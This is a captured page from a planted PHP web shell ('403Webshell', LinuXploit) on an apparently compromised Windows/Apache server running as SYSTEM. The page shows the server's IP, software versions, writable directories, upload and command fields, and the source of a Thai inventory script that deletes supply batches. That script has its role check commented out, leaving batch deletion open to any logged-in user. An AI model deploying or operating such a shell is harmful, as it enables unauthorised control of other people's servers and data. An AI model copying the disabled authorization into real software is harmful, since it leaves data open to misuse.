403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/supply_system/supplies/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/supply_system/supplies/action_batch_delete.php
<?php
include_once __DIR__ . '/../config.php';
include_once __DIR__ . '/../functions.php';
include_once __DIR__ . '/../includes/auth_check.php';
// requireRole(['admin', 'supply_manager']);

$message = '';
$message_type = 'danger';
$batch_id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$supply_id = isset($_GET['supply_id']) ? intval($_GET['supply_id']) : 0; // Needed for redirect and recalculation

if ($batch_id > 0 && $supply_id > 0) {

    // --- Check if batch can be deleted (nothing consumed) ---
    $sql_check = "SELECT quantity_received, quantity_remaining, batch_no FROM supply_batches WHERE id = $batch_id AND supply_id = $supply_id";
    $result_check = mysqli_query($conn, $sql_check);

    if ($result_check && $batch = mysqli_fetch_assoc($result_check)) {
        if ($batch['quantity_remaining'] == $batch['quantity_received']) {
            // --- Safe to delete ---
            mysqli_begin_transaction($conn);
            try {
                // Delete the batch
                $sql_delete = "DELETE FROM supply_batches WHERE id = $batch_id";
                if (!mysqli_query($conn, $sql_delete)) {
                    throw new Exception("ไม่สามารถลบ Batch ได้: " . mysqli_error($conn));
                }

                // --- Manually Recalculate Supply Totals ---
                // The trigger doesn't fire on DELETE, so we do it manually.
                $sql_recalc = "SELECT SUM(quantity_remaining) as total_qty, SUM(quantity_remaining * unit_price) as total_val
                               FROM supply_batches
                               WHERE supply_id = $supply_id AND status = 'active' AND quantity_remaining > 0";
                $res_recalc = mysqli_query($conn, $sql_recalc);
                if ($res_recalc && $totals = mysqli_fetch_assoc($res_recalc)) {
                    $new_total_qty = intval($totals['total_qty']); // Use intval to handle NULL from SUM if no batches left
                    $new_total_value = floatval($totals['total_val']); // Use floatval
                    $new_avg_price = ($new_total_qty > 0) ? ($new_total_value / $new_total_qty) : 0;

                    $sql_update_supply = "UPDATE supplies
                                          SET quantity_in_stock = $new_total_qty,
                                              average_unit_price = $new_avg_price,
                                              total_value = $new_total_value,
                                              updated_at = NOW()
                                          WHERE id = $supply_id";

                    if (!mysqli_query($conn, $sql_update_supply)) {
                        throw new Exception("ลบ Batch สำเร็จ แต่ไม่สามารถอัปเดตข้อมูลรวมของพัสดุได้: " . mysqli_error($conn));
                    }
                    if($res_recalc) mysqli_free_result($res_recalc);

                    // If all succeeded
                    mysqli_commit($conn);
                    $message = "ลบ Batch '" . htmlspecialchars($batch['batch_no']) . "' เรียบร้อยแล้ว";
                    $message_type = 'success';

                } else {
                     if($res_recalc) mysqli_free_result($res_recalc);
                     throw new Exception("ลบ Batch สำเร็จ แต่เกิดข้อผิดพลาดในการคำนวณยอดรวมใหม่: " . mysqli_error($conn));
                }

            } catch (Exception $e) {
                mysqli_rollback($conn);
                $message = $e->getMessage();
                $message_type = 'danger';
            }

        } else {
            $message = "ไม่สามารถลบ Batch '" . htmlspecialchars($batch['batch_no']) . "' ได้ เนื่องจากมีการเบิกจ่ายจาก Batch นี้ไปแล้ว";
            $message_type = 'warning';
        }
        if($result_check) mysqli_free_result($result_check);
    } else {
        $message = "ไม่พบข้อมูล Batch ID: $batch_id หรือไม่ตรงกับ Supply ID: $supply_id";
        $message_type = 'danger';
    }

} else {
    $message = "ข้อมูล ID สำหรับการลบไม่ถูกต้อง";
    $message_type = 'danger';
}

// --- Redirect back with message ---
$_SESSION['message'] = $message;
$_SESSION['message_type'] = $message_type;
redirect($supply_id > 0 ? 'supply_view.php?id=' . $supply_id : 'index.php'); // Redirect back to supply details or list

?>

Youez - 2016 - github.com/yon3zu
LinuXploit